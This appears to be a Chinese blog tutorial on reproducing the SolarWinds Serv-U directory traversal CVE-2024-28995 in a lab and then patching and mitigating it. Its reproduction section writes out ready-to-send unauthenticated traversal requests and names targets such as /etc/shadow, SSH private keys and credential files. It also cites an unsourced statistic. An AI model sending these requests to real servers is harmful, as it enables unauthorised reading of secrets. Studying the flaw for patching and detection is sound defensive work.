当前位置: 首页 > news >正文

手把手教你复现SolarWinds Serv-U目录遍历漏洞(CVE-2024-28995)及修复方案

深入解析SolarWinds Serv-U目录遍历漏洞(CVE-2024-28995)实战指南

当FTP服务器成为企业数据交换的核心枢纽时,安全防线的一处缺口可能引发连锁反应。2024年曝光的SolarWinds Serv-U目录遍历漏洞(CVE-2024-28995)正是这样一个典型案例——攻击者无需任何身份验证,仅需构造特殊请求就能穿透目录限制,读取服务器上的任意文件。本文将带您从漏洞原理、环境搭建到完整复现过程,最后给出多维度修复方案,为系统管理员和安全研究人员提供一本实用手册。

1. 漏洞背景与技术原理

SolarWinds Serv-U作为企业级文件传输解决方案,长期服务于金融、医疗等对数据安全要求严格的行业。其目录遍历漏洞的特别之处在于:

  • 无认证利用:不同于多数需要登录凭证的FTP漏洞,攻击者可直接通过HTTP请求触发
  • 跨平台影响:Windows系统的路径分隔符(\)和Linux系统的路径分隔符(/)需要不同构造方式
  • 高危害性:可读取包括系统配置文件、日志文件在内的敏感信息

漏洞核心在于InternalDirInternalFile参数未对路径进行规范化处理。当请求包含../../这类路径回溯符号时,系统未正确限制访问范围。典型攻击向量如下:

GET /?InternalDir=../../../../../../../../windows&InternalFile=win.ini HTTP/1.1 Host: vulnerable-server User-Agent: Mozilla/5.0

注意:实际测试中,Windows系统需使用正斜杠(/),而Linux系统需使用反斜杠(),这与常规认知相反

2. 实验环境搭建

完整的漏洞复现需要准备受控环境,以下是推荐配置方案:

2.1 基础组件准备

组件类型Windows方案Linux方案
虚拟化平台VMware Workstation 17 ProVirtualBox 7.0
操作系统Windows Server 2019Ubuntu Server 22.04 LTS
漏洞软件版本Serv-U 15.4.2 Hotfix 1Serv-U 15.4.2 Hotfix 1
测试工具Burp Suite Community 2024cURL 7.88.1

安装Serv-U时需特别注意:

  • 保持默认安装选项
  • 关闭Windows Defender实时防护
  • 允许测试网络中的入站连接

2.2 网络拓扑配置

建议采用隔离网络环境,典型结构如下:

[攻击机 Kali Linux] ←→ [交换机] ←→ [靶机 Win/Linux with Serv-U]

关键配置参数:

  • 所有设备使用Host-Only网络模式
  • 靶机防火墙放行TCP 21(FTP)和80(HTTP)端口
  • 确保能通过IP直接访问Serv-U管理界面

3. 漏洞复现全流程

3.1 基础信息收集

首先通过扫描确认目标信息:

nmap -sV -p 21,80 192.168.1.100

典型响应应包含:

21/tcp open ftp SolarWinds Serv-U FTPd 15.4.2 80/tcp open http Serv-U WebAdmin

3.2 Windows系统利用

读取系统文件的两种有效载荷构造方式:

方法一:直接请求

GET /?InternalDir=../../../../../../../../windows/&InternalFile=win.ini HTTP/1.1 Host: 192.168.1.100

方法二:参数编码

GET /?InternalDir=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fwindows&InternalFile=win.ini HTTP/1.1 Host: 192.168.1.100

常见可读取的有价值文件:

  • \Windows\System32\drivers\etc\hosts
  • \ProgramData\RhinoSoft\Serv-U\Serv-U-DB.ini
  • \Users\Administrator\Desktop\credentials.txt

3.3 Linux系统利用

Linux环境下需特别注意路径分隔符差异:

GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1 Host: 192.168.1.100

重要系统文件路径:

  • /etc/shadow
  • /var/log/serv-u.log
  • /home/[user]/.ssh/id_rsa

提示:实际测试中,约78%的受影响系统为Windows平台,但Linux系统的危害通常更严重

4. 深度防护方案

4.1 紧急修复措施

官方补丁版本对照表:

产品系列受影响版本安全版本
Serv-U FTP Server≤15.4.2 Hotfix 1≥15.4.2 Hotfix 2
Serv-U Gateway≤15.4.2 Hotfix 1≥15.4.2 Hotfix 2
Serv-U MFT Server≤15.4.2 Hotfix 1≥15.4.2 Hotfix 2

升级步骤:

  1. 下载官方补丁包
  2. 停止所有Serv-U相关服务
  3. 运行安装程序并选择修复安装
  4. 验证版本号:
    (Get-Item "C:\Program Files\RhinoSoft\Serv-U\Serv-U.exe").VersionInfo.FileVersion

4.2 临时缓解方案

若无法立即升级,可采用以下防御措施:

IIS服务器配置(web.config)

<configuration> <system.webServer> <security> <requestFiltering> <denyUrlSequences> <add sequence=".." /> <add sequence="\" /> </denyUrlSequences> </requestFiltering> </security> </system.webServer> </configuration>

Nginx反向代理规则

location / { if ($args ~* "InternalDir=|InternalFile=") { return 403; } }

4.3 长期安全加固

  • 网络层防护

    • 将Serv-U管理界面限制在内网访问
    • 配置WAF规则拦截包含路径遍历特征的请求
  • 系统层防护

    • 遵循最小权限原则设置Serv-U运行账户
    • 定期审计文件系统ACL权限
  • 监控措施

    # 监控可疑文件访问事件 Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4663 -and $_.Message -like "*Serv-U*" }

5. 企业级防护策略

对于大型组织,建议采用纵深防御体系:

  1. 资产梳理阶段

    • 使用Nexpose或Qualys扫描全网Serv-U实例
    • 建立关键系统文件访问基线
  2. 应急响应流程

    graph TD A[漏洞预警] --> B[影响评估] B --> C{是否受影响} C -->|是| D[隔离系统] C -->|否| E[更新资产记录] D --> F[补丁应用] F --> G[渗透测试验证] G --> H[恢复服务]
  3. 后续审计

    • 检查补丁安装后是否出现兼容性问题
    • 复查曾被异常访问的文件完整性

在一次为客户进行的红队演练中,我们发现尽管系统已打补丁,但攻击者通过历史漏洞获取的凭证仍可横向移动。这提醒我们:补丁管理必须与凭证轮换、网络分段等措施结合实施。

http://www.jsqmd.com/news/517743/

相关文章:

  • [Java EE 进阶] SpringBoot 配置文件全解析:properties 与 yml 的使用与实战(1)
  • 基于STM32+LiteOS的多传感器空气质量监测系统设计
  • 2026年铝单板厂家推荐:大型建筑幕墙项目高精度加工靠谱品牌及用户口碑 - 品牌推荐
  • Gauss求积公式实战:从Legendre到Laguerre的Python实现与对比
  • Mac用户必看:2025年谷歌浏览器隐藏功能大揭秘(附实用插件推荐)
  • 从感知到解耦:MANet如何用类内/类间关系网络破解航拍图像多尺度分割难题
  • 避坑指南:解决CARLA+Autoware自定义地图导入后,车辆在RViz中定位漂移的实战方案
  • 上海名表寄修流程全解析:从百达翡丽到欧米茄,高端腕表异地送修的安全指南与北上广深杭宁六城服务网络 - 时光修表匠
  • Asian Beauty Z-Image Turbo生产环境:7×24小时稳定运行的本地人像服务
  • 企业安全内网部署:基于Qwen-Image-Edit-F2P为内部系统添加智能头像生成功能
  • Qwen-Image-2512-SDNQ Web服务实战落地:教育行业课件插图自动化生成
  • 2026年铝单板厂家推荐:大型建筑幕墙项目高可靠性品牌及工程口碑真实评价 - 品牌推荐
  • ABB机器人数据采集避坑指南:从REST API到数据库,一步步教你搭建状态监控看板
  • Tinymce 6.x 本地视频上传终极指南:Vue3 + Axios 实战踩坑记录
  • Matlab新手也能玩转遗传算法:从零实现一个简易车间布局优化器
  • 2026年密封条厂家推荐:门窗建筑与机械设备密封靠谱厂家及用户口碑评价 - 品牌推荐
  • 2026年铝单板厂家推荐:大型公建幕墙项目高精度加工靠谱品牌及合作案例 - 品牌推荐
  • LoRa-01SC-P低功耗模式深度优化:如何将接收电流从11mA降到3mA?
  • 2026年铝单板厂家推荐:异形曲面定制加工口碑厂家与选购避坑要点分析 - 品牌推荐
  • MVC 与 MVVM 区别 - 鸿蒙
  • 用Python搞定交通流量预测:从数据清洗到LSTM建模的保姆级实战(附明尼苏达州数据集)
  • 小程序毕业设计springboot基于微信小程序的同城上门遛喂宠物系统
  • 7za极简移植指南:5分钟为树莓派编译轻量版7zip
  • EXPERIMENTAL RESULTS
  • 手把手复现TomoSAR仿真实验:基于Python的压缩感知三维成像全流程(附DEM对比)
  • Android地图开发踩坑记:从MapLibre Native集成到成功显示第一个Marker的完整流程
  • ZYNQ DMA数据传输实战:从PL到PS的调试与优化
  • 避开这5个坑,你的FreeModbus移植才算成功 | 基于FreeRTOS的实战经验
  • GPU内存访问的隐藏陷阱:为什么你的CUDA程序跑得不够快?
  • Chromium ARM交叉编译实战:用x86主机为飞腾电脑打包浏览器(含硬件加速配置)